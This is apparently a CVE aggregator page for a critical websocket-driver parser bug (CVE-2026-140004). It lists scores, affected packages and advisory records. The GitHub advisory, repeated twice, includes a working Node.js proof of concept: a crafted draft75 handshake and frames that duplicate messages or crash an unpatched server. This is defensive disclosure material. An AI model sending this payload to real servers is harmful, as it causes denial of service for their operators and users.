Every CVESearch/Get API key

CVE-2026-140004

websocket-driver: Message corruption and denial of service triggered by crafted client message

Explain with AI
ChatGPTClaudeGoogle AI
Severity
9.1Critical
Network attack, no privileges, no user interactionCVSS 3.1, CVE List
Exploitation
None reported
1 exploit-related link
Exploit chance
0.64% in 30 days
Percentile52nd
EPSS, scored
Listed fix
0.8.0 for websocket-driver (npm)
From GitHub Advisories and OSV8 other affected packages

Overview

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, a bug in the draft75 and draft76 message parser mishandles a short crafted byte sequence. An unauthenticated remote client can send this sequence over a legacy WebSocket connection, causing a received message to be emitted twice or causing the server process to crash. This issue is fixed in version 0.8.0.

CVSS 3.1 vector

Exploitability

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

Impact

Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Exploit chance over time

Unchanged since Dec 1, 2026
EPSS score 0.64% every day from Dec 1, 2026 to Dec 4, 2026.

Discussion

Quiet in the last day.
14 days ago: 0 people13 days ago: 0 people12 days ago: 0 people11 days ago: 0 people10 days ago: 0 people9 days ago: 0 people8 days ago: 0 people7 days ago: 0 people6 days ago: 0 people5 days ago: 0 people4 days ago: 1 person3 days ago: 3 people2 days ago: 0 people1 day ago: 0 peopleLast 24 hours: 0 people

Affected

Packages 9

Affected packages
PackageAffectedFixed
websocket-driver
npm
before 0.8.0
0.8.0
js-jquery
Azure Linux:3
through 3.5.0-4None listed
python-tensorboard
Azure Linux:3
through 2.16.2-6None listed
node-websocket-driver
Debian:12
All versions, plus listed versions
0.7.4+~cs0.6.14-10.7.4+~cs0.6.7-20.7.5+~cs0.6.14-1
None listed
node-websocket-driver
Debian:13
All versions, plus listed versions
0.7.4+~cs0.6.14-10.7.4+~cs0.6.7-20.7.5+~cs0.6.14-1
None listed
node-websocket-driver
Debian:14
All versions, plus listed versions
0.7.4+~cs0.6.14-10.7.4+~cs0.6.7-20.7.5+~cs0.6.14-1
None listed
librechat-0
Docker Hardened Images:Alpine:3.23
0.8.8-r0 and later, plus listed versions
0.8.8-r10.8.8-r20.8.8-r30.8.8-r40.8.8-r5
Show 5 more versionsShow less
0.8.8-r60.8.9-r00.8.9-r10.8.9-r20.8.9-r3
None listed
librechat-0
Docker Hardened Images:Alpine:3.24
0.8.8-r0 and later, plus listed versions
0.8.8-r10.8.8-r20.8.8-r30.8.8-r40.8.8-r5
Show 5 more versionsShow less
0.8.8-r60.8.9-r00.8.9-r10.8.9-r20.8.9-r3
None listed
librechat-0
Docker Hardened Images:Debian:13
0.8.8-0 and later, plus listed versions
0.8.8-10.8.8-20.8.8-30.8.8-40.8.8-5
Show 5 more versionsShow less
0.8.9-00.8.9-10.8.9-20.8.9-30.8.9-4
None listed

Only in multi-CVE advisories 1

Each of these advisories covers several CVEs at once, so it doesn’t establish that this one affects the package.

Packages named only by advisories that cover several CVEs
PackageAffectedFixed
websocket-driver
TuxCare:npm
0.7.5-tuxcare.0 up to 0.7.5-tuxcare.3, plus listed versions
From an advisory covering 5 CVEs
0.7.50.7.5-tuxcare.10.7.5-tuxcare.2
0.7.5-tuxcare.3
0.7.4-tuxcare.0 up to 0.7.4-tuxcare.3, plus listed versions
From an advisory covering 5 CVEs
0.7.40.7.4-tuxcare.10.7.4-tuxcare.2
0.7.4-tuxcare.3

Products 1

Exploits

Sources link exploit code, tools that only detect the flaw and other work on it, and most don’t say which a link is.

Exploit-related links
LinkSourceDate
googlesky/CVE-2026-140004PoC in GitHub2026-12-02

Sources

CVE List Score usedCVSS 3.19.1

websocket-driver: Message corruption and denial of service triggered by crafted client message

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, a bug in the draft75 and draft76 message parser mishandles a short crafted byte sequence. An unauthenticated remote client can send this sequence over a legacy WebSocket connection, causing a received message to be emitted twice or causing the server process to crash. This issue is fixed in version 0.8.0.

Record
CVE-2026-140004
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Weakness
CWE-248, CWE-456
Updated
2026-12-01
EUVDEUVD-2026-139727CVSS 3.19.1

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, a bug in the draft75 and draft76 message parser mishandles a short crafted byte sequence. An unauthenticated remote client can send this sequence over a legacy WebSocket connection, causing a received message to be emitted twice or causing the server process to crash. This issue is fixed in version 0.8.0.

Record
EUVD-2026-139727
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Updated
2026-12-01
GitHub AdvisoriesGHSA-v36f-rjg3-3v46CVSS 3.19.1

websocket-driver: Message corruption and denial of service triggered by crafted client message

Summary

An unauthenticated remote client can trigger message corruption and denial of service by starting a draft75 or draft76 WebSocket connection and sending a brief sequence of bytes. The byte sequence is parsed incorrectly and can lead to duplicate messages or server crash.

Details

The websocket-driver library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the draft75 and draft76 versions. There is a bug in the parsing of messages in these versions that can lead to the server duplicating received messages or crashing when a client sends a specific sequence of bytes over a connection being handled by this parser. No special conditions are required and the input message that triggers this behaviour is very short, so an attacker can easily crash a remote server.

To mitigate this, the parser bug has been fixed, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option allowDrafts: true when creating a driver instance.

Proof of concept

Given a server using websocket-driver to handle WebSocket connections:

const net = require('net')
const ws = require('websocket-driver')

let server = net.createServer((conn) => {
  let driver = ws.server()

  driver.on('connect', () => {
    if (ws.isWebSocket(driver)) driver.start()
  })

  driver.on('close', () => conn.end())
  conn.pipe(driver.io).pipe(conn)

  driver.on('message', (msg) => console.log(msg.data))
})

server.listen(8000)

A client can connect and send a set of headers that will pass as a draft75 handshake, followed by two message frames:

const net = require('net')

let tcp = net.connect(8000, '127.0.0.1')

tcp.on('connect', () => {
  tcp.write([
    'GET / HTTP/1.1',
    'Host: 127.0.0.1:8000',
    'Connection: upgrade',
    'Upgrade: websocket',
    '', ''
  ].join('\r\n'))

  tcp.write(Buffer.from([0x00, 0x48, 0x69, 0xff]))
  tcp.write(Buffer.from([0x80, 0x01, 0xff]))
})

This client will cause the server to emit the message Hi twice when it was only sent once. If the first frame is omitted and the client sends only 80 01 ff, then the server crashes.

After upgrading to a patched version, both these situations are handled correctly if allowDrafts: true is set. If it is not set then the connection is rejected as a bad request.

Impact

Users running a server using websocket-driver to handle WebSocket connections are vulnerable to denial of service triggered by a single frame sent by an unauthenticated client. The only known mitigation is to upgrade to a patched release.

Record
GHSA-v36f-rjg3-3v46
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Weakness
CWE-248, CWE-456
Updated
2026-12-01
NVDCVSS 3.19.1

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, a bug in the draft75 and draft76 message parser mishandles a short crafted byte sequence. An unauthenticated remote client can send this sequence over a legacy WebSocket connection, causing a received message to be emitted twice or causing the server process to crash. This issue is fixed in version 0.8.0.

Record
CVE-2026-140004
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Weakness
CWE-248, CWE-456
Updated
2026-12-01
OSVCVSS 3.19.1

websocket-driver: Message corruption and denial of service triggered by crafted client message

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, a bug in the draft75 and draft76 message parser mishandles a short crafted byte sequence. An unauthenticated remote client can send this sequence over a legacy WebSocket connection, causing a received message to be emitted twice or causing the server process to crash. This issue is fixed in version 0.8.0.

Record
CVE-2026-140004
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Weakness
CWE-248, CWE-456
Updated
2026-12-01
OSVDEBIAN-CVE-2026-140004CVSS 3.19.1

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, a bug in the draft75 and draft76 message parser mishandles a short crafted byte sequence. An unauthenticated remote client can send this sequence over a legacy WebSocket connection, causing a received message to be emitted twice or causing the server process to crash. This issue is fixed in version 0.8.0.

Record
DEBIAN-CVE-2026-140004
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Updated
2026-12-03
Show 6 more recordsShow less
OSVDHI-x57i-6lkn-dbu3-do5kCVSS 3.19.1

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, a bug in the draft75…

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, a bug in the draft75 and draft76 message parser mishandles a short crafted byte sequence. An unauthenticated remote client can send this sequence over a legacy WebSocket connection, causing a received message to be emitted twice or causing the server process to crash. This issue is fixed in version 0.8.0.

Record
DHI-x57i-6lkn-dbu3-do5k
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Updated
2026-12-04
OSVGHSA-v36f-rjg3-3v46CVSS 3.19.1

websocket-driver: Message corruption and denial of service triggered by crafted client message

Summary

An unauthenticated remote client can trigger message corruption and denial of service by starting a draft75 or draft76 WebSocket connection and sending a brief sequence of bytes. The byte sequence is parsed incorrectly and can lead to duplicate messages or server crash.

Details

The websocket-driver library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the draft75 and draft76 versions. There is a bug in the parsing of messages in these versions that can lead to the server duplicating received messages or crashing when a client sends a specific sequence of bytes over a connection being handled by this parser. No special conditions are required and the input message that triggers this behaviour is very short, so an attacker can easily crash a remote server.

To mitigate this, the parser bug has been fixed, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option allowDrafts: true when creating a driver instance.

Proof of concept

Given a server using websocket-driver to handle WebSocket connections:

const net = require('net')
const ws = require('websocket-driver')

let server = net.createServer((conn) => {
  let driver = ws.server()

  driver.on('connect', () => {
    if (ws.isWebSocket(driver)) driver.start()
  })

  driver.on('close', () => conn.end())
  conn.pipe(driver.io).pipe(conn)

  driver.on('message', (msg) => console.log(msg.data))
})

server.listen(8000)

A client can connect and send a set of headers that will pass as a draft75 handshake, followed by two message frames:

const net = require('net')

let tcp = net.connect(8000, '127.0.0.1')

tcp.on('connect', () => {
  tcp.write([
    'GET / HTTP/1.1',
    'Host: 127.0.0.1:8000',
    'Connection: upgrade',
    'Upgrade: websocket',
    '', ''
  ].join('\r\n'))

  tcp.write(Buffer.from([0x00, 0x48, 0x69, 0xff]))
  tcp.write(Buffer.from([0x80, 0x01, 0xff]))
})

This client will cause the server to emit the message Hi twice when it was only sent once. If the first frame is omitted and the client sends only 80 01 ff, then the server crashes.

After upgrading to a patched version, both these situations are handled correctly if allowDrafts: true is set. If it is not set then the connection is rejected as a bad request.

Impact

Users running a server using websocket-driver to handle WebSocket connections are vulnerable to denial of service triggered by a single frame sent by an unauthenticated client. The only known mitigation is to upgrade to a patched release.

Record
GHSA-v36f-rjg3-3v46
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Weakness
CWE-248, CWE-456
Updated
2026-12-01
OSVAZL-117523No score

CVE-2026-140004 affecting package js-jquery 3.5.0-4

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, a bug in the draft75 and draft76 message parser mishandles a short crafted byte sequence. An unauthenticated remote client can send this sequence over a legacy WebSocket connection, causing a received message to be emitted twice or causing the server process to crash. This issue is fixed in version 0.8.0.

Record
AZL-117523
Updated
2026-12-03
OSVAZL-117611No score

CVE-2026-140004 affecting package python-tensorboard 2.16.2-6

websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, a bug in the draft75 and draft76 message parser mishandles a short crafted byte sequence. An unauthenticated remote client can send this sequence over a legacy WebSocket connection, causing a received message to be emitted twice or causing the server process to crash. This issue is fixed in version 0.8.0.

Record
AZL-117611
Updated
2026-12-03
OSVCLSA-2026-1796199359No score

TuxCare security update for websocket-driver (5 CVEs)

TuxCare rebuilt websocket-driver to address 5 CVEs. Fixed in 0.7.5-tuxcare.3.

Record
CLSA-2026-1796199359
Updated
2026-12-04
OSVCLSA-2026-1796206185No score

TuxCare security update for websocket-driver (5 CVEs)

TuxCare rebuilt websocket-driver to address 5 CVEs. Fixed in 0.7.4-tuxcare.3.

Record
CLSA-2026-1796206185
Updated
2026-12-04

History

Recorded by Every CVE

Changes recorded by Every CVE
DayChangedSources
Affected packages, other IDsOSV
Affected packages, other IDs, referencesOSV
Affected packages, other IDs, referencesOSV
Affected packages, other IDs, referencesOSV
Exploit links, key factsPoC in GitHub
Affected packagesOSV
Affected packages, other IDs, referencesOSV
Published dateEUVD, OSV
Published dateEUVD
Affected packages, referencesOSV
Affected packages, key facts, referencesCVE List, GitHub Advisories, NVD
Other IDs, referencesOSV
Other IDs, published dateEUVD, NVD
First indexedCVE List

Upstream dates may differ.

References

MoveEnter Open